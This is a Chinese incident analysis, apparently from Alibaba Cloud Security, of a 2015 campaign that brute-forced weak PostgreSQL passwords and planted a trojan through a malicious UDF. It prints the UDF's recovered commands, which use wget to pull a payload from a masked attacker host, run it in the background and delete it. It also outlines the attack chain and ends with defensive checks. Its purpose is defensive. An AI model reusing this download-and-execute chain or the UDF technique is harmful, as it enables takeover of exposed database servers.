记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

攻防实例 | 态势感知如何扼杀DDoS

2015-12-11 02:30

 0x00 前言

近日,阿里云盾的态势感知系统成功捕获到一起利用PostgreSQL弱口令批量植入木马的事件。本文将分享我们对此次事件的追踪过程,从攻击方式,用到的工具,到攻击的范围,还原整个攻击事件。

0x01 发现

2015年11月27日星期五,云盾态势感知系统产出了一条异常的告警,团队成员立即对告警进行响应。通过告警信息定位到了传播源:

640.webp
我们发现该传播源为一个HFS文件服务器:

640.webp (1)在HFS服务器中,发现了黑客用来批量扫描漏洞和自动攻击的程序:ps.exe和pexec.exe。下载到本地进行分析之后,判定此工具为针对PostgreSQL数据库的自动化攻击程序。

程序使用了C#编写,ps.exe负责扫描PostgreSQL服务弱口令,将扫描结果通过web接口记录到文件:

640.webp (2)
黑客将扫描到弱口令的IP列表导入到pexec.exe,程序会首先判断服务器PostgreSQL的版本,通过SQL写入对应的/tmp/testproxy.so文件,然后创建名为exec111的UDF函数,最后通过UDF执行恶意指令。

有趣的是,我们在利用程序中并没有发现针对windows版本的postgresql进行利用的代码,说明黑客的程序还是一个半成品。下面是针对linux下PostgreSQL 9.3版本的部分利用代码:

640.webp (3)
在两个程序中,作者都写入了对硬件CPU ID的判断,程序仅允许在指定机器运行,但是作者却没对程序代码做混淆和加壳:

640.webp (4)
在攻击者HFS上,我们还发现了黑客已经扫描到的PostgreSQL弱口令和利用成功的IP列表:

640.webp (5)640.webp (6)经过我们统计,这份数据里包含了被植入木马的2626个IP地址,以及刚扫描出的1217台存在弱口令的PostgreSQL服务器IP地址。

进一步对攻击者植入的UDF程序进行逆向分析,发现该UDF执行了如下命令:

wget -P /tmp/ http://***.**.***.*:1234/testproxy -O /tmp/testproxy

chmod 777 /tmp/testproxy

/tmp/testproxy > testtmp &

rm -rf ./testproxy

testproxy是真正的木马程序,启动后会尝试解析baby***9.com域名,并连接其80端口,等待C&C发送指令并执行

0x02 攻击链路还原

1. 黑客通过ps.exe程序,全网扫描存在弱口令和空口令的PostgreSQL服务器并将IP保存。

2. 利用PostgreSQL pg_largeobject的特性,对漏洞主机发起攻击:将恶意udf分段写入PosrgreSQL表中,并导出实体文件到: /tmp/testproxy.so

3. 从/tmp/testproxy.so导入恶意代码,创建UDF函数并执行,下载恶意文件传播源(HFS服务器)上的testproxy木马并运行。

4. 木马启动后会尝试连接baby***9.com域名的 80端口,等待C&C发送指令。

0x03 漏洞影响

攻击者扫描全网存在弱口令和空口令的PostgreSQL数据库主机,通过UDF函数植入木马,通过木马程序,攻击者可以控制受害机器发起恶意行为。阿里云云盾态势感知系统在第一时间发现该威胁,截止本文终稿,还并未发现木马C&C服务器开放或发送指令,我们推测黑客还处于批量“抓鸡”阶段,还未来得及开始利用这个木马进行攻击。

0x04 影响范围

我们针对全国开放5432端口的服务器进行了详细的探测,发现有19554台服务器运行着PostgreSQL服务,其中可以通过弱口令登录PostgreSQL的服务器有1353台。按地区分布数量进行排名,第一位是台湾,浙江、北京排在第二、三位。

640.webp (7)
在分析PostgreSQL弱口令的过程中,我们注意到了PostgreSQL的一个特性,即“信任IP登录”。在pg_hba.conf文件中,如果把某个IP段的auth-method字段配置为“trust”,意味着在该IP段下不需要任何验证即可访问数据库中所有数据。对上述1353台存在弱口令的服务器进行深入分析,我们发现超过50%的PostgreSQL对所有IP都开启了“trust”模式,这些服务器都存在极大的安全风险!

 

640.webp (8)

0x05 修复建议

1. 禁止postgresql以root权限运行,建议使用独立帐号运行。

adduser dbuser
sudo su – dbuser

2. 修改数据库帐号为强密码。

alter user postgres with password ‘aliyunSecurity1234*_*';

3. 检查PostgreSQL配置文件pg_hba.conf中是否存在:host all all 0.0.0.0/0 trust ,建议修改为使用密码认证。

4. 查看是否存在恶意UDF函数。

select proname,prosrc from pg_proc where proname = ‘exec111′;

5. 查看是否存在可疑UDF函数。

select proname,prosrc from pg_proc;
//查看哪些函数不是系统预设的、或者管理员自己添加的

6. 查看是否存在可疑存储过程。

select tgrelid from pg_trigger;

7. 检查自己服务器是否存在/tmp/testproxy.so文件。


知识来源: www.2cto.com/Article/201512/453016.html

阅读:98301 | 评论:0 | 标签:ddos

想收藏或者和大家分享这篇好文章→复制链接地址

“攻防实例 | 态势感知如何扼杀DDoS”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

❤人人都能成为掌握黑客技术的英雄❤

ADS

标签云